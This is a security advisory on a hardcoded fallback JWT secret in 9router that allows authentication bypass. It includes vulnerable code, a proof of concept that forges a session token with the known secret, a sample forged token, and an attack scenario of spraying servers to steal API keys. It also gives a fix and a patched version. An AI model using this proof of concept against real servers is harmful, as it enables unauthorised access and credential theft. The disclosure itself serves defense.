9router's Hardcoded Default fallback JWT Secret Allows Authentication Bypass

Overview

Summary

9router uses a publicly known hardcoded string "9router-default-secret-change-me" as the fallback of JWT secret for all Dashboard session JWTs when the JWT_SECRET environment variable is not set. Because this secret is committed in the public repository and unchanged across all releases, any unauthenticated remote attacker can forge a valid auth_token cookie and gain full access to dashboard and api (If JWT_SECRET is not set on server) . This vulnerable affected so many public 9router server

Details

Vulnerable Code

v0.2.21 – v0.4.30 — src/app/api/auth/login/route.js and src/middleware.js:

const SECRET = new TextEncoder().encode(
  process.env.JWT_SECRET || "9router-default-secret-change-me"
);

v0.4.31 – v0.4.41 (current) — src/lib/auth/dashboardSession.js (centralized via OIDC refactor, commit c3d91b0):

const SECRET = new TextEncoder().encode(
  process.env.JWT_SECRET || "9router-default-secret-change-me"
);

The fallback string was introduced in commit 23cfb19 (2026-01-09) and has never been removed. The OIDC refactor in c3d91b0 only relocated it to a shared module . This vulnerability has existed since 9router first introduced authentication.

PoC

Step 1. Craft a JWT signed with the known default secret:

import { SignJWT } from "jose";

const SECRET = new TextEncoder().encode("9router-default-secret-change-me");

const token = await new SignJWT({ authenticated: true })
  .setProtectedHeader({ alg: "HS256" })
  .setIssuedAt()
  .setExpirationTime("36y")
  .sign(SECRET);

console.log(token); // example a valid auth_token=eyJhbGciOiJIUzI1NiJ9.eyJhdXRoZW50aWNhdGVkIjp0cnVlLCJpYXQiOjE3Nzg3Njk4NTYsImV4cCI6MjkxNDg0MzQ1Nn0.enMLEqYZKFuzxkmRH6qd3E-Ub-20wOjmiEfP4KyIG6w

Step 2. Set the forged token as the auth_token cookie. And access the http://<target>/dashboard - completely authentication bypass

Attack Scenario:

• Attacker can use this JWT to spray to all server that they found in the internet and gain dashboard access if a server doesn't set JWT_SECRET
• Then they can steal valuable API Key , Auth Token via http:// target /api/settings/database

Impact

• A successful attack grants attacker full API Key, Auth Token that 9router hold
• They can read 9router apikey, change 9router password ,shutdown 9router, Modify everything
• Pivot via the MCP stdio→SSE bridge exposed at /api/mcp/ (exploit CVE-2026-46339)

Recommended Fix

Require JWT_SECRET at startup and fail fast rather than falling back silently:

const jwtSecret = process.env.JWT_SECRET;
if (!jwtSecret) {
  throw new Error(
    "JWT_SECRET environment variable is not set. " +
    "Generate one with: openssl rand -hex 32"
  );
}
const SECRET = new TextEncoder().encode(jwtSecret);

Alternatively, auto-generate a random secret on first boot and persist it to the data directory — but never fall back to a publicly known constant.

Affected packages

• 9router >= 0.2.21, <= 0.4.41

Remediation

Upgrade to a patched release:

• 9router 0.4.45